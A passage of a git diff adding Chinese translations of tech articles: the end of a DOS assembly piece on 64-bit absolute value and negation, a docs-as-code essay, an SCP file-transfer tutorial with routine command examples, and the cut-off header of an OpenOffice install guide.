+  ; 会被转为正数的 64 位数。 +  ; 结束时,如果结果数字不能被转正,CF 寄存器会被设置。这种情况只 +  ; 有在遇到最大负值时会发生。其余情况,CF 不会被设置。 +  +  ; 检查最高字节的最高位 +  test [si+7], byte 0x80 +  ; 如不为 1,值为正值 +  jz .done_ABS +  ; 翻转所有位 +  not word [si+6] ; 字 #4 +  not word [si+4]       ; 字 #3 +  not word [si+2]       ; 字 #2 +  not word [si]         ; 字 #1 +  ; 字 #1 加 1 +  inc word [si] +  ; 如结果不为 0,结束 +  jnz .done_ABS +  ; 字 #2 加 1 +  inc word [si+2] +  ; 如结果为 0,进位下一个字 +  jnz .done_ABS +  inc word [si+4] +  jnz .done_ABS +  ; 此处无法进位 +  inc word [si+6] +  ; 再一次检查最高位 +  test [si+7], byte 0x80 +  ; 如不为 1,我们成功了,结束 +  jz .done_ABS +  ; 溢出错误,它被转成了负数 +  stc +  ; 设置 CF 并返回 +  ret +.done_ABS: +  ; 成功,清理 CF 并返回 +  clc +  ret +``` + +你可能已经注意到了,这个函数有一个潜在问题。由于正数和负数的二进制值表达方式,最大负数无法被转成正数。以 8 位数为例,最大负数是 `-128`。如果你翻转了 `-128` 的所有位数(二进制 `1__0000000`),你会得到 127(二进制 `0__1111111`)这个最大正值。如果你对结果加 `1`,它会因溢出回到同样的负数(`-128`)。 + +要将正数转成负数,你只需要重复计算绝对值的步骤就行。以下的程序十分相似,你唯一需要确认的就是一开始的数字不是已经负了。 + +``` +; 语法, NASM for DOS +proc_NEG: +  ; 开始时,SI 会指向需要转负的数字在内存里的位置。 +  ; 结束时,CF 永远不会被设置。 +  +  ; 检查最高字节的最高位 +  test [si+7], byte 0x80 +  ; 如为 1,数已经是负数 +  jnz .done_NEG +  not word [si+6]       ; 翻转字的所有位,字 #4 +  not word [si+4]       ; 字 #3 +  not word [si+2]       ; 字 #2 +  not word [si]         ; 字 #1 +  inc word [si]         ; 字 #1 加 1 +  ; 如结果不为 0,结束 +  jnz .done_NEG +  ; 字 #2 加 1 +  inc word [si+2] +  ; 如结果为 0,进位下一个字 +  jnz .done_NEG +  inc word [si+4] +  jnz .done_NEG +  ; 此处无法进位或转化 +  inc word [si+6] +  ; 正。 +.done_NEG: +  clc                   ; 成功,清理 CF 并返回 +  ret +``` + +看着这些绝对值函数与负值函数间的通用代码,它们应该被合并起来节约一些字节。合并代码也会带来额外的好处。首先,合并代码能帮助防止简单的笔误。这样也可以减少测试的要求。进一步来讲,这样通常会让代码变得简单易懂。在阅读一长串的汇编指令时,忘记读到哪里是常有的事。现在,我们可以不管这些。 + +计算一个数的绝对值或负值并不难。但是,这些函数对于我们即将开始的有符号整型数学运算至关重要。 + +我已经介绍了整型数字在位这一层面的基本表示方法,也创造了可以改变这些数字的基本程序,现在我们可以做点有趣的了。 + +让我们来做些数学运算吧! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/10/64-bit-math + +作者:[Jerome Shidel][a] +选题:[lkxed][b] +译者:[yzuowei](https://github.com/yzuowei) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/shidel +[b]: https://github.com/lkxed +[0]: https://img.linux.net.cn/data/attachment/album/202212/09/150829g7c7x5e22qqo53c4.jpg \ No newline at end of file diff --git a/published/202212/20221028.1 ⭐️⭐️ Write documentation like you develop code.md b/published/202212/20221028.1 ⭐️⭐️ Write documentation like you develop code.md new file mode 100644 index 0000000000..95f0e82e50 --- /dev/null +++ b/published/202212/20221028.1 ⭐️⭐️ Write documentation like you develop code.md @@ -0,0 +1,88 @@ +[#]: subject: "Write documentation like you develop code" +[#]: via: "https://opensource.com/article/22/10/docs-as-code" +[#]: author: "Lorna Mitchell https://opensource.com/users/lornajane" +[#]: collector: "lkxed" +[#]: translator: "CanYellow" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15364-1.html" + +像书写代码一样撰写文档 +====== + +![][0] + +> 不想让文档成为事后的想法?或许你该尝试一下全新的写作方式。 + +很多工程师与手工艺者都对他们使用的工具有特别的要求。为了顺利的完成工作,你需要最好的工具和使用它们的技巧。软件开发中最好的工具在应用到其他的数字创作领域中也可以是很强大的。[文档即代码][1]Docs as Code 的方式就是很好的例子。“文档即代码”意味着使用与代码开发相同的工具和工作流来撰写文档。文档即代码的支持者认为,这样的方式可以在降低写作者的工作量的同时,也带来了更好的文档。 + +### 文本格式与源文件控制 + +从传统的写作平台切换到文档即代码方式时,最主要的调整是将写作内容保存在基于文本的标记格式中。这一转变使得基于纯文本的工具都适用于文档写作。无论你选择 [DocBook][2]、[Markdown][3] 或者其他的标记语言,从只使用一种工具到使用一种标准格式配合多种工具是一种巨大的转变。 + +找到支持你的工作流程的工具是非常重要的。很多开发者在文档即代码项目中使用他们的 [代码编辑器][4]。因为他们已经是这些工具的高阶用户,一切都很顺利。而找到适合团队里其他专业人员,比如技术撰稿、编辑、信息架构师和文档产品责任人的工具可能需要一番努力。这里有一些选项可供参考: + +- 各种 [优秀的 Markdown 编辑器][5] 之一 +- 附带良好的预览工具的代码编辑器可能更适合非程序员 +- 流行的 Git 托管服务的网页界面尤其适用于偶尔有需要的贡献者 + +一旦内容以标记语言的格式安全地保存,就可以使用 [Git][6] 这样的版本控制进行管理。Git 相比大多数文档平台具有更多的功能: + +- 清晰详细的文档版本历史:谁在什么时候改变了什么。如果你有良好的提交信息惯例,你甚至可以了解到为什么会有这样的变更。 +- 简明的并行修改过程。在 Git 中使用分支工作意味着任何人可以做出他们想要的任何改变,并在最后合并所做的变更。 +- 先进的协作与审查工具。所有的源代码管理平台都被设计成支持详细审查每一个变更,并根据需要进行讨论,使每个人都确信这个变更可以继续进行。 +- 自动质量检查,比如拼写检查和链接检查。这不仅节省了时间,而且可以发现可能遗漏的错误。 + +源代码管理有很多优点。但要记住,如果你准备入门源代码管理,它有一定的学习曲线。这是一些有助于撰写者入门的优秀的 [学习资源][7] 和 [文章][8]。你也可以让具有好奇心的文档撰写者自行寻找对他们有用的学习材料,而不是请你的工程师来培训他们。(问我是怎么学会的? —— 当然是通过艰苦的方式!) + +### 拉取请求和评审循环 + +所有的源代码管理平台都围绕 拉取请求Pull Request 这一概念设计的,这有时也称为 合并请求Merge Request
:有时候,某个人或某个团队先将一系列改变整合到一起,然后请求把这些修改拉到主项目中。不过从许多方面来说,在文档中一次处理多个变更比在代码中更容易。改变一篇文章中的某个地方,比更改代码并发现有其它几个地方依赖它,副作用更小。 + +最强大的协作工具是 [diff][9],它可以通过一个易于理解的方式展示旧版本与新版本之间的差异。该工具有许多不同的版本,可以使比较视图更易于查看:双栏模式、行内模式,甚至是渲染过的 Markdown 模式。团队中的每一个成员都可以选择最适合他们的工具。举例而言,网页视图通常用于查看细微变更,而对于更大的变更,我习惯于使用 `vimdiff` 或 [Meld][10] 在本地浏览。 + +评审意见可以被添加到整个修改中,也可以添加到拟议的变更的个别行中。一些项目限制了行的最大长度,即硬换行,或者一行一句,以使得向文本的特定的部分添加注释更加容易。可以添加进一步的修改与评论,直到审查过程结束,修改被接受。由于拉取请求在项目仓库以队列形式展示,这是一种很好的方式,可以展示目前正在进行的任务以及需要进行检查操作的任务。`diff` 工具使得评审人员更方便地添加他们的思考。尤其是你在与技术受众工作时,你可以通过他们日常使用的工具获得来自他们的评论。 + +### 持续集成与部署 + +以纯文本形式提供你的文档的源代码有很多益处,你可以轻易找到每一个需要修改的位置,你可以使用现有的诸如 [wc][11]、[grep][12] 或 `tree` 之类的工具,来处理潜在的大型文档集。当你将这些与源代码管理平台结合起来之后,你可能获得更多的可用工具,并且它们都是开源的。 + +另一个工作流程上的巨大提升是持续部署的能力。简单来说,这意味着,每当一个拉取请求被合并到主项目中,项目可以直接自动化部署到位。如果这个变更足够好,就可以放进项目中,它也足够好到可以在放到文档网站上帮助你的读者。典型情况下,持续部署是配置在一台单独的自动化服务器上的,比如 [Jenkins][13] 或者 [Git 钩子][14]。不论哪种方式,基于文本的标记语言与文档即代码平台(通常是静态网页生成器,比如 [Hugo][15] 或 [Sphinx][16])结合来生成文档网站,然后自动部署。 + +在部署之前,同样的自动化流程可以被用于对将要合并的拉取请求进行检查。在一个编程项目中,通过计算机自行进行代码检查、代码测试和其他的质量检查已经习以为常。通过类似 [Vale][17] 之类的工具可以对文本进行检查,文档项目也可以同样对待。你也可以添加其他的工具,比如添加一个链接检查器来确保文中所有的链接都是有效的。 + +### 用于文档流程的代码工具 + +被工程师们熟知并喜爱的工具都是非常好的工具,它们同时也可以用于其他类型的项目中。对于文档而言,它们提升了宝贵的效率,尤其是当你希望你的文档与你的团队同步推进的时候。上面讨论到的所有工具都是开源的,你可以亲自尝试,也可以为大型全球团队,亦或者介于两者之间的团队,部署它们。愿你的成文过程和编程过程一样顺畅。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/10/docs-as-code + +作者:[Lorna Mitchell][a] +选题:[lkxed][b] +译者:[CanYellow](https://github.com/CanYellow) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/lornajane +[b]: https://github.com/lkxed +[1]: https://www.writethedocs.org/guide/docs-as-code +[2]: https://opensource.com/article/17/9/docbook +[3]: http://commonmark.org +[4]: https://opensource.com/article/20/12/eclipse +[5]: https://opensource.com/article/21/10/markdown-editors +[6]: https://opensource.com/downloads/cheat-sheet-git +[7]: https://opensource.com/article/18/1/step-step-guide-git +[8]: https://opensource.com/article/19/4/write-git +[9]: https://opensource.com/article/21/11/linux-diff-patch +[10]: https://opensource.com/article/20/3/meld +[11]: https://www.redhat.com/sysadmin/linux-wc-command?intcmp=7013a000002qLH8AAM +[12]: https://opensource.com/downloads/grep-cheat-sheet +[13]: https://www.jenkins.io +[14]: https://www.redhat.com/sysadmin/git-hooks +[15]: https://opensource.com/article/18/3/start-blog-30-minutes-hugo +[16]: https://opensource.com/article/19/11/document-python-sphinx +[17]: https://vale.sh +[0]: https://img.linux.net.cn/data/attachment/album/202212/19/215600m3bzhqlu23lskssl.jpg \ No newline at end of file diff --git a/published/202212/20221103.6 ⭐️⭐️⭐️ How To Securely Transfer Files With SCP In Linux.md b/published/202212/20221103.6 ⭐️⭐️⭐️ How To Securely Transfer Files With SCP In Linux.md new file mode 100644 index 0000000000..bc00a197f5 --- /dev/null +++ b/published/202212/20221103.6 ⭐️⭐️⭐️ How To Securely Transfer Files With SCP In Linux.md @@ -0,0 +1,530 @@ +[#]: subject: "How To Securely Transfer Files With SCP In Linux" +[#]: via: "https://ostechnix.com/securely-transfer-files-with-scp-in-linux/" +[#]: author: "sk https://ostechnix.com/author/sk/" +[#]: collector: "lkxed" +[#]: translator: "MjSeven" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15377-1.html" + +如何在 Linux 中使用 SCP 安全地传输文件 +====== + +![][0] + +在网络上文件传输可以通过各种不同的方式和协议来完成。**远程复制文件**最常用的协议是 **Rsync**、**SCP** 和 **SFTP**。在本文中,我们将了解**什么是 SCP** 以及如何在 Linux 和类 Unix 操作系统中**使用 SCP 在本地和远程计算机之间安全地传输文件**。 + +### 什么是 SCP? + +SCP,代表 安全复制Secure Copy,它是一个命令行程序,在 Linux 和类 Unix 操作系统中以安全的方式在本地和远程系统之间,或在两个远程系统之间复制文件和目录。 + +使用 `scp` 命令,你可以安全地复制文件或目录: + +- 从本地到远程系统 +- 从远程系统到本地 +- 在两个远程系统之间 + +使用 `scp` 命令传输数据时,文件和目录都是加密的。因此,即使网络被破坏,作恶者也无法获得任何有意义的数据。 + +SCP 是 openSSH 程序的一个组件,它使用 SSH 协议安全地传输文件。几乎所有现代 Linux 和 Unix 发行版都预装了 OpenSSH,所以不必费心安装它。 + +#### 提醒一句: + +根据 openSSH 开发人员的**官方公告**: + +> **scp 协议已经过时了**,它不灵活且不易修复。我们建议使用更现代的协议,如 `sftp` 和 `rsync` 来代替。 +> +> 参考 - [https://lists.mindrot.org/pipermail/openssh-unix-dev/2019-March/037672.html][1] + +但是,大多数用户仍然更喜欢 SCP 协议。因为,SCP 处理远程文件传输比同行 SFTP 和 Rsync 更快。 + +另外,SCP 的工作原理与 `cp` 命令完全相同,而 `rsync` 则会判断源目录是否有**结尾斜杠**而出现不同的行为。看一看下面的命令: + +- `rsync source destination/` - 将 `source` 目录复制到 `destination` 文件夹内。 +- `rsync source/ destination/` - 将 `source` 目录的内容复制到 `destination` 文件夹中。 + +所以,你必须反复检查是否在路径中添加了斜杠。 + +我个人使用 **[Rsync][2]** 在两台主机之间复制大文件,使用 SCP 在网络上复制单个文件。 + +### SCP 命令语法 + +SCP 的通用语法如下: + +``` +scp [-346ABCpqrTv] [-c cipher] [-F ssh_config] [-i identity_file] [-J destination] [-l limit] [-o ssh_option] [-P port] [-S program] source ... target +``` + +根据文件传输路径的不同,语法也会有所不同。这里我罗列了一些语法格式示例。 + +从本地复制一个文件到远程系统: + +``` +scp SourceFile User@RemoteHost:RemotePath +``` + +类似的,从本地系统复制一个目录到远程系统,使用 `-r` 参数: + +``` +scp -r SourceDirectory User@RemoteHost:RemotePath +``` + +复制多个文件到远程系统: + +``` +scp SourceFile1 SourceFile2 User@RemoteHost:RemotePath +``` + +远程系统复制文件到本地: + +``` +scp User@RemoteHost:RemoteFilePath DestinationFile +``` + +远程系统复制目录到本地: + +``` +scp -r User@RemoteHost:RemoteDirectoryPath DestinationDirectory +``` + +在本地将文件在两个远程系统之间复制: + +``` +scp User@RemoteHost1:RemoteFile1 User@RemoteHost2:RemotePath +``` + +注意,当你在两个远程系统之间复制文件时,流量不会通过本地系统。操作直接在两个远程系统之间进行。但是,你可以使用 `-3` 参数让流量经过你运行 `scp` 命令的系统。 + +从你的本地系统将一个远程系统的目录复制到另一个远程系统: + +``` +scp -r User@RemoteHost1:RemoteDirectory User@RemoteHost2:DestinationPath +``` + +### SCP 命令参数 + +SCP 命令最常用的参数有: + +- `-C`:启用压缩。`C` 代表 压缩Compression。使用此参数时,数据传输速度会更快,因为数据是压缩的。SCP 将自动在源系统上压缩,并在目标系统上解压缩。 +- `-c `:`c` 代表 加密Cipher。默认情况下,SCP 使用 **AES-128** 加密方法对数据进行加密。你可以使用 `-c` 参数更改加密方法。 +- `-i `:`i` 代表 身份Identity 文件或私钥。如你所知,SSH 中使用基于密码或密钥的身份验证。如果希望在传输文件时使用基于密钥的身份验证,可以使用 `-i` 参数指定身份文件或私钥。 +- `-l limit`:`l` 代表 限制Limit 带宽。通过此参数,可以设置传输数据的最大带宽。它的单位是 `Kbit/s`。 +- `-F `:有时你可能需要使用不同的网络来连接到 Linux 系统,或你有一个代理服务器,这种情况下,你可以使用 `-F` 参数使用不同的 `ssh_config` 文件File。 +- `-P port`:`P` 代表 端口Port。注意,这是大写的 `P`。默认情况下,SSH 使用端口 22。但出于安全原因,你可能已经更改了目标主机中的端口号。这种情况下,你应该使用 `-P` 参数显示指定新端口号。 +- `-p`:如果希望 保留Preserve 原始文件的修改时间、访问时间和模式,你需要使用 `-p` 参数。注意是小写 `p`。 +- `-r`:递归Recursively 复制整个目录。 +- `-B`:`B` 代表 批处理Batch 模式。它用于在传输文件时选择批处理模式。可以防止询问密码。 +- `-S program`:用于加密连接的 程序Program 名称。 +- `-v`:`v` 代表 详细Verbose。当使用 `-v` 参数时,命令将会在终端屏幕上打印进度。你会看到文件传输时到底发生了什么。它在调试连接、身份验证和配置问题时非常有用。 + +SCP 有很多参数,你可以查看它的手册页来了解其他参数。让我们看一些**有用的 scp 命令示例**。 + +### 开始前要记住的重要事项 + +- `scp` 命令依赖于 `ssh` 进行安全的文件传输。因此,你必须有一个 **ssh 密钥**或**密码**才能向远程系统进行身份验证。 +- 为了能传输文件,你必须对**源文件有读权限**,对**目标位置有写权限**。 +- `scp` 命令在写入前不会检查目标位置。目标位置中具有相同名称的任何文件都将被**覆盖而不通知**。 +- 为了能够区分本地和远程位置,使用**冒号**(`:`)。 +- 传输大文件时,建议在 **[Screen][3]** 或 **[Tmux][4]** 会话内启动任务。 + +### 在 Linux 中使用 SCP 传输文件 + +正如我所说,我们可以使用 `scp` 命令将文件或目录从本地复制到远程系统,反之亦然,或者在两台远程系统之间复制文件或目录。 + +#### 1. 使用 SCP 从本地系统复制文件到远程系统 + +使用 `scp` 命令将文件从本地复制到远程系统,运行: + +``` +$ scp File1.txt ostechnix@192.168.1.40:/home/ostechnix/ +``` + +示例输出: + +``` +ostechnix@192.168.1.40's password: +File1.txt 100% 104 814.0KB/s 00:00 +``` + +让我们分析一下上面的命令,看看每个参数都做了什么。 + +- `File1.txt` - 源文件 +- `ostechnix` - 远程系统的用户名 +- `192.168.1.40` - 远程系统的 IP 地址 +- `/home/ostechnix/` - 远程系统中的目标目录。这是我们想要传输源文件的绝对路径,如 `File.txt`。 + +你还可以修改目标文件的名称。下面的命令将 `File1.txt` 传输到目的地,保存为 `myfile.txt`。 + +``` +$ scp File1.txt ostechnix@192.168.1.40:/home/ostechnix/myfile.txt +``` + +![将文件从本地复制到远程系统][5] + +#### 2. 使用 SCP 从本地系统复制多个文件到远程系统 + +使用 `scp` 命令将多个文件从本地系统传输到远程系统,运行: + +``` +$ scp File1.txt File2.txt ostechnix@192.168.1.40:/home/ostechnix/ +``` + +示例输出: + +``` +ostechnix@192.168.1.40's password: +File1.txt 100% 104 689.4KB/s 00:00 +File2.txt 100% 496 6.3MB/s 00:00 +``` + +![从本地复制多个文件到远程系统][6] + +这里: + +- `File1.txt` 和 `File2.txt` - 源文件名 +- `ostechnix@192.168.1.40` - 远程系统的用户名和 IP 地址 +- `/home/ostechnix` - 目标文件的路径 + +如果文件具有相同的扩展名,你可以使用以下替代命令来实现相同的目标。 + +``` +$ scp {File1,File2}.txt ostechnix@192.168.1.40:/home/ostechnix/ +``` + +或者, + +``` +$ scp *.txt ostechnix@192.168.1.40:/home/ostechnix/ +``` + +#### 3. 使用 SCP 从本地到远程系统递归复制目录 + +递归地将整个目录(包括子目录及其内容)从本地复制到远程系统,使用 `-r` 参数。 + +``` +$ scp -r Documents/ ostechnix@192.168.1.40:/home/ostechnix/ +``` + +![从本地复制目录到远程系统][7] + +上述命令将整个 `Documents` 目录包括其内容复制到目标系统。 + +其中, + +- `-r` - 递归复制文件和目录,包括子目录及其内容 +- `Documents` - 源目录名称 +- `ostechnix@192.168.1.40` - 远程系统的用户名和 IP 地址 +- `/home/ostechnix` - 目标目录的路径 + +#### 4. 用 SCP 将文件从远程系统传输到本地 + +还记得我们从本地系统复制了 `File1.txt` 到远程系统,让我们把它复制回本地。 + +使用 `scp` 命令从远程系统复制文件到本地,运行: + +``` +$ scp ostechnix@192.168.1.40:/home/ostechnix/File1.txt Downloads/ +``` + +其中 + +- `ostechnix@192.168.1.40` - 远程系统的用户名和 IP 地址 +- `/home/ostechnix/File.txt` - 远程系统文件的绝对路径 +- `Downloads` - 本地保存复制文件的位置 + +![从远程系统传输文件到本地][8] + +#### 5. 使用 SCP 将多个文件从远程系统传输到本地 + +将多个文件从远程系统复制到本地,在**花括号内**注明文件的绝对路径,如下所示: + +``` +$ scp ostechnix@192.168.1.40:/home/ostechnix/\{File1.txt,File2.txt\} Downloads/ +``` + +![将多个文件从远程系统传输到本地][9] + +上述命令将从远程系统的 `/home/ostechnix/` 目录中复制 `File1.txt` 和 `File2.txt` 到本地的 `Downloads` 目录中。 + +注意,**花括号内的逗号后面没有空格**。 + +#### 6. 从远程系统递归复制目录到本地 + +使用 `scp` 从远程系统递归复制整个目录(包括子目录及其内容)到本地系统,使用 `-r` 参数。 + +``` +$ scp -r ostechnix@192.168.1.40:/home/ostechnix/Documents Downloads/ +``` + +上述命令将从远程系统将整个 `Documents` 目录复制到本地的 `Downloads` 目录。 + +#### 7. 使用 SCP 在两台远程计算机之间复制文件 + +使用 `scp` 命令将文件从一个远程系统直接复制到另一个远程系统,运行: + +``` +$ scp senthil@192.168.1.40:/home/senthil/File1.txt kumar@192.168.1.20:/home/kumar/ +``` + +它会要求你输入两个远程系统的密码: + +其中, + +- `senthil@192.168.1.40` - 文件源端远程系统的用户名和 IP 地址 +- `/home/senthil/File1.txt` - 复制的文件名及其位置 +- `kumar@192.168.1.20` - 复制文件到目标端的用户名和 IP 地址 +- `/home/kumar` - 在目标端上保存复制文件的位置 + +上述命令将从远程主机 `192.168.1.40` 复制 `/home/senthil/File1.txt` 到 `192.168.1.20` 上的 `/home/kumar/` 目录。 + +在这种方法中,数据将直接从一个远程系统传输到另一个远程系统。如果你想通过本地机器路由流量,使用 `-3` 参数,如下所示: + +``` +$ scp -3 senthil@192.168.1.40:/home/senthil/File1.txt kumar@192.168.1.20:/home/kumar/ +``` + +#### 8. 使用 SCP 复制文件时启用压缩 + +到目前为止,我们在没有压缩的情况下传输了文件。现在我们将使用 `-C` 参数在传输文件时启用压缩。 + +``` +$ scp -C File1.txt ostechnix@192.168.1.40:/home/ostechnix/ +``` + +`-C` 参数将在源端启用压缩,并在目标端自动解压数据。 + +通过启用压缩,可以显著提高文件复制或传输速度。 + +#### 9. 使用 SCP 传输文件时限制带宽 + +我们可以使用 `-l` 参数限制带宽。注意,最大带宽单位为 Kbits/s。1 Byte = 8 bit。因此,如果你想将带宽限制在 200KB/s,`-l` 的值将是 **1600**(200*8)。 + +``` +$ scp -l 1600 File1.txt ostechnix@192.168.1.40:/home/ostechnix/ +``` + +这在传输大文件时非常有用,可以防止 SCP 限制带宽。 + +#### 10. 使用 SCP 复制文件时使用不同端口 + +作为系统管理员,出于安全原因,你可能在远程服务器上 [更改了 SSH 协议的默认端口][10]。这种情况下,你可以在传输文件时使用 `-P` 参数指定端口号。注意:大写的 `P`。 + +``` +$ scp -P 2022 File1.txt ostechnix@192.168.1.40:/home/ostechnix/ +``` + +#### 11. 使用 SCP 复制文件时使用不同的加密方法 + +默认情况下,SCP 使用 `AES-128` 对文件进行加密。如果你想使用不同的加密方法,使用 `c` 参数。 + +例如,如果你想使用 **3des-cbc** 加密方法,命令如下所示: + +``` +$ scp -c 3des-cbc File1.txt ostechnix@192.168.1.40:/home/ostechnix/ +``` + +要查看支持的密码列表,执行: + +``` +$ ssh -Q cipher localhost | paste -d, -s - +``` + +示例输出: + +``` +3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc,rijndael-cbc@lysator.liu.se,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com +``` + +#### 12. 在详细模式下使用 SCP 复制文件 + +如果你想知道使用 `scp` 复制文件时幕后发生了什么,你可以使用 `-v` 参数。使用详细模式传输文件时,终端上会显示执行 `scp` 命令执行的每一步过程。这在故障排除时很方便。 + +``` +$ scp -v File1.txt ostechnix@192.168.1.40:/home/ostechnix/ +``` + +在详细模式下发送文件时,你将看到大量输出,如下所示: + +![在详细模式下使用 SCP 复制文件][11] + +#### 13. 在安静模式下使用 SCP 传输文件 + +我们可以使用 `-q` 参数在安静模式下传输文件。在安静模式下共享文件时,不会在输出中显示进度、警告或诊断信息。 + +``` +$ scp -q File1.txt ostechnix@192.168.1.40:/home/ostechnix/ +``` + +#### 14. 使用 SCP 传输文件时保留文件属性 + +使用 `-p` 参数可以保留文件修改时间、访问时间和模式等文件属性。注意,这是**小写的 p**。 + +``` +$ scp -p File1.txt ostechnix@192.168.1.40:/home/ostechnix/ +``` + +#### 15. 使用 SCP 复制文件时使用身份文件 + +SSH 同时支持基于密码和密钥的身份验证。密钥是 Linux 环境中使用最广泛的身份验证方法。 + +如果你想在传输文件时使用基于密钥的身份验证,使用 `-i` 参数指定身份文件或私钥。 + +``` +$ scp -i my_private_key.pem File1.txt ostechnix@192.168.1.40:/home/ostechnix/ +``` + +#### 16. 使用不同的 ssh 配置文件 + +在某些情况下,你需要使用不同的网络来连接到 Linux 系统,或你有一个代理服务器。这在情况下,你可以配合 `-F` 参数使用不同的 `ssh_config` 文件。 + +``` +$ scp -F /home/ostechnix/my_ssh_config File1.txt ostechnix@192.168.1.40:/home/ostechnix/ +``` + +#### 17. 使用 IPv4 或 IPv6 复制文件 + +在复制文件时,我们可以强制 SCP 只使用 IPv4 或 IPv6 地址。IPv4 网络添加 `-4` 参数,IPv6 网络添加 `-6` 参数可以实现这一点。 + +``` +$ scp -6 File1.txt ostechnix@192.168.1.40:/home/ostechnix/ +``` + +### 常见问题 + +#### 问题 1:什么是 SCP? + +SCP 是一个命令行程序,旨在将文件和目录从本地系统安全地传输到远程系统,反之亦然,或者直接在两个远程系统之间传输。 + +#### 问题 2: 如何使用 SCP 将文件从本地复制到远程计算机? + +将文件从本地复制到远程系统,命令如下: + +``` +scp SourceFile.txt User@RemoteHost:/some/remote/directory +``` + +#### 问题 3:如何递归复制文件和目录? + +递归复制包含子目录的目录,使用 `-r` 参数: + +``` +scp -r /some/local/directory User@RemoteHost:/some/remote/directory +``` + +#### 问题 4:使用 SCP 可以传输多个文件吗? + +当然,只要用空格分隔源文件名即可。 + +从本地复制多个文件到远程: + +``` +scp file1.txt file2.txt file3.txt User@RemoteHost:/some/remote/directory +scp {file1,file2,file3}.txt User@RemoteHost:/some/remote/directory +scp *.txt User@RemoteHost:/some/remote/directory +``` + +从远程复制多个文件到本地: + +``` +scp User@RemoteHost:/some/remote/directory/\{file1.txt,file2.txt,file3.txt\} /some/local/directory +``` + +从一个远程系统复制多个文件到另一个远程系统: + +``` +$ scp User@RemoteHost1:/some/remote/directory/\{file1.txt,file2.txt,file3.txt\} User@RemoteHost2:/some/remote/directory/ +``` + +#### 问题 5:如何传输目录下的所有文件? + +传输整个目录,首先进入该目录: + +``` +cd dir_name +``` + +然后, + +``` +scp *.txt User@RemoteHost:/some/remote/directory +``` + +#### 问题 6:可以压缩文件吗? + +当然。使用 `-C` 压缩文件。文件会在源端压缩,在目标端自动解压缩。 + +``` +scp -C /some/large/file User@RemoteHost:/some/remote/directory +``` + +#### 问题 7:可以保留文件属性吗? + +保留原始文件的修改时间、访问时间和模式等文件属性,使用 `-p` 参数。 + +``` +scp -p file.txt User@RemoteHost:/some/remote/directory +``` + +#### 问题 8: 可以使用其他端口吗? + +当然。SCP 配合 `-P` 参数允许你使用其他端口。 + +``` +scp -P 2022 file.txt User@RemoteHost:/some/remote/directory +``` + +#### 问题 9: 可以使用不同的加密方法吗? + +当然。使用 `-c` 参数。 + +``` +scp -c 3des-cbc User@RemoteHost:/some/remote/directory +``` + +#### 问题 10: 如何列出 SSH 支持的加密方法? + +使用以下命令查看 SSH 和 SCP 支持的加密方法列表: + +``` +ssh -Q cipher localhost | paste -d, -s - +``` + +#### 问题 11:SCP 真的安全吗? + +当然,它用起来是完全安全的。SCP 和 openSSH 使用相同的 SSH 机制。传输的数据在源端加密,目标端解密。 + +#### 问题 12:可以从 Windows 系统传输文件到 Linux 吗? + +当然。使用 `PSCP` 程序将文件从 windows 传输到 Linux 平台,你也可以使用 `WinSCP`。 + +### 总结 + +在这篇全面指南中,我们了解了什么是 SCP,以及如何在 Linux 中使用 **SCP 安全地传输文件**,其中包括 **17 个 SCP 命令示例**,另外还回答了关于 SCP 的常见问题。 + +无论你是 Linux 管理人员、开发人员还是普通用户,你都会面临某个时候将文件复制到远程系统或从远程系统复制文件的情况,知道如何**使用 SCP 安全地复制文件**将是非常有用的。 + +-------------------------------------------------------------------------------- + +via: https://ostechnix.com/securely-transfer-files-with-scp-in-linux/ + +作者:[sk][a] +选题:[lkxed][b] +译者:[MjSeven](https://github.com/MjSeven) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://ostechnix.com/author/sk/ +[b]: https://github.com/lkxed +[1]: https://lists.mindrot.org/pipermail/openssh-unix-dev/2019-March/037672.html +[2]: https://ostechnix.com/linux-rsync-command-examples-for-beginners/ +[3]: https://ostechnix.com/screen-command-examples-to-manage-multiple-terminal-sessions/ +[4]: https://ostechnix.com/tmux-command-examples-to-manage-multiple-terminal-sessions/ +[5]: https://ostechnix.com/wp-content/uploads/2022/11/Copy-Files-from-Local-System-to-Remote-System.png +[6]: https://ostechnix.com/wp-content/uploads/2022/11/Copy-Multiple-Files-from-Local-System-to-Remote-System.png +[7]: https://ostechnix.com/wp-content/uploads/2022/11/Copy-Directory-from-Local-System-to-Remote-System.png +[8]: https://ostechnix.com/wp-content/uploads/2022/11/Transfer-Files-from-Remote-System-to-Local-System.png +[9]: https://ostechnix.com/wp-content/uploads/2022/11/Transfer-Multiple-Files-from-Remote-System-to-Local-System.png +[10]: https://ostechnix.com/how-to-change-apache-ftp-and-ssh-default-port-to-a-custom-port-part-3/ +[11]: https://ostechnix.com/wp-content/uploads/2022/11/Copying-Files-with-SCP-in-Verbose-Mode.png +[0]: https://img.linux.net.cn/data/attachment/album/202212/24/152224vy4glx9x39mtth9b.jpg \ No newline at end of file diff --git a/published/202212/20221107.5 ⭐️ How to Install OpenOffice in Arch Linux [Beginner’s Guide].md b/published/202212/20221107.5 ⭐️ How to Install OpenOffice in Arch Linux [Beginner’s Guide].md new file mode 100644 index 0000000000..ed68a3711c --- /dev/null +++ b/published/202212/20221107.5 ⭐️ How to Install OpenOffice in Arch Linux [Beginner’s Guide].md @@ -0,0 +1,87 @@ +[#]: subject: "How to Install OpenOffice in Arch Linux [Beginner’s Guide]" +[#]: via: "https://www.debugpoint.com/install-openoffice-arch/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: 